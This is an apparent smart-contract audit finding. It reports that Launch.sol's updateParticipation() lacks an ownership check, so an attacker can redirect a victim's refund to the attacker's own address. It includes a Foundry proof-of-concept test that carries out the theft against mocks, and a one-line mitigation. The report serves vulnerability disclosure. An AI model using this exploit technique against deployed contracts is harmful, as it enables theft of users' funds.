Mythical Olive Bull

Medium

# Attacker can drain victim's funds by anipulating `updateParticipation()`

### Summary

Incorrect validation in `updateParticipation()` will cause a theft of funds for users as an attacker will manipulate request parameters to receive refunds intended for the victim.

### Root Cause

In `Launch.sol::updateParticipation()`, the function allows users to update their participation details, including token amount and refund claims. However, the function does not properly validate if the requester is the legitimate owner of the participation entry. This allows an attacker to update another user’s participation record and send refunds to their attacker's address.
https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L312

### Internal Pre-conditions

The launch group status must be ACTIVE

### External Pre-conditions

1. The attacker must know the victim’s participationID.
2. The attacker must generate a request signature using the victim’s userID, which is possible by obtaining the user access token.

### Attack Path

1. The attacker finds a valid participationID belonging to the victim.
2. The attacker generates a request with the victim’s userID, but with their own userAddress.
3. The attacker sets a reduced tokenAmount within allowed limits to trigger a refund (can set 0 as well as another vulnerability presents in the code which is described in another report).
4. Attacker calls updateParticipation()
5. The contract processes the refund but sends the money to the attacker’s userAddress instead of the victim’s.



### Impact

The victim(s) suffers a loss of their funds as the attacker is able to steal the refund. As per sherlock rule impact would be Medium as requires External Pre-conditions.

### PoC

<details>

```solidity

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    CancelParticipationRequest,
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CurrencyConfig,
    UpdateParticipationRequest
} from "../src/Types.sol";
import {console} from "forge-std/console.sol";

contract USDC is ERC20 {
    constructor() ERC20("Mock Token", "MTK") {
        _mint(msg.sender, 1000000 * 10 ** 6);
    }
}

contract Steal is Test, Launch, LaunchTestBase {
    USDC public usdc;

    bytes32 public testLaunchParticipationId2 = "cm6o2sldi00003b74facm5z9n2";
    bytes32 public testUserId2 = "cm6o2tm1300003b74dsss1s7q2";

    function setUp() public {
        _setUpLaunch();
        usdc = new USDC();
        
        usdc.transfer(user1, 5000 * 10 ** 6);
    }

    function createLaunchGroup(bool finalizesAtParticipation) public {
        CurrencyConfig memory usdcConfig =
            CurrencyConfig({tokenPriceBps: 1 * (10 ** 6), isEnabled: true});

        LaunchGroupSettings memory settings = LaunchGroupSettings({
            finalizesAtParticipation: finalizesAtParticipation,
            startsAt: block.timestamp,
            endsAt: block.timestamp + 1 days,
            maxTokenAllocation: 10000 * 10 ** launch.tokenDecimals(),
            minTokenAmountPerUser: 500 * 10 ** launch.tokenDecimals(),
            maxTokenAmountPerUser: 5000 * 10 ** launch.tokenDecimals(),
            status: LaunchGroupStatus.ACTIVE
        });
        vm.startPrank(manager);
        launch.createLaunchGroup(testLaunchGroupId, address(usdc), usdcConfig, settings);
        vm.stopPrank();
    }

    function generateRequest(
        bytes32 launchParticipationId, 
        bytes32 userId, 
        address userAddress, 
        uint256 tokenAmount, 
        address currency) public returns (ParticipationRequest memory request){
            
        return ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: launchParticipationId,
            userId: userId,
            userAddress: userAddress,
            tokenAmount: tokenAmount * 10 ** launch.tokenDecimals(),
            currency: currency,
            requestExpiresAt: block.timestamp + 1 hours
        });
    }

    function generateUpdateRequest(
        bytes32 prevLaunchParticipationId,
        bytes32 newLaunchParticipationId, 
        bytes32 userId, 
        address userAddress, 
        uint256 tokenAmount, 
        address currency
    ) public returns (UpdateParticipationRequest memory){
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: prevLaunchParticipationId,
            newLaunchParticipationId: newLaunchParticipationId,
            userId: userId,
            userAddress: userAddress,
            tokenAmount: tokenAmount * 10 ** launch.tokenDecimals(),
            currency: currency,
            requestExpiresAt: block.timestamp + 1 hours
        });
    }

function test_stealOtherUser() public {
        // Setup launch group by setting finalizesAtParticipation as false.
        createLaunchGroup(false);

        //victim's request
        ParticipationRequest memory request = generateRequest(testLaunchParticipationId, testUserId, user1, 5000, address(usdc));
        bytes memory signature = _signRequest(abi.encode(request));

        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
        usdc.approve(address(launch), currencyAmount);

        // Expect ParticipationRegistered event
        vm.expectEmit();
        emit ParticipationRegistered(
            request.launchGroupId, request.launchParticipationId, testUserId, user1, currencyAmount, address(usdc)
        );

        // Victim Participate
        launch.participate(request, signature);
        vm.stopPrank(); 

        //Asserting victim's token amount
        ParticipationInfo memory infoBefore = launch.getParticipationInfo(testLaunchParticipationId);
        assertEq(infoBefore.tokenAmount, request.tokenAmount);   

        // Attacker's manipulated request with reduced tokenAmount and victim's ParticipationId and userId
        UpdateParticipationRequest memory updateRequest = generateUpdateRequest(testLaunchParticipationId, testLaunchParticipationId2, testUserId, user2, 500, address(usdc));
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user2);
        // Asserting attacker balance is 0 before update request
        assertEq(usdc.balanceOf(user2), 0);
        console.log("Attacker's balance before:", usdc.balanceOf(user2));

        vm.expectEmit();
        emit ParticipationUpdated(
            updateRequest.launchGroupId,
            updateRequest.newLaunchParticipationId,
            testUserId,
            user2,
            updateRequest.tokenAmount,
            address(usdc)
        );

        // Attacker submits request update participant info
        launch.updateParticipation(updateRequest, updateSignature);
        
        //Asserting attacker balance after update request
        uint256 currencyAmountAfter = _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, infoBefore.tokenAmount - updateRequest.tokenAmount);
        assertEq(usdc.balanceOf(user2), currencyAmountAfter);
        console.log("Attacker's balance after:", usdc.balanceOf(user2));

    }
}
```

</details>

### Mitigation

Send excess balance to original userAddress only.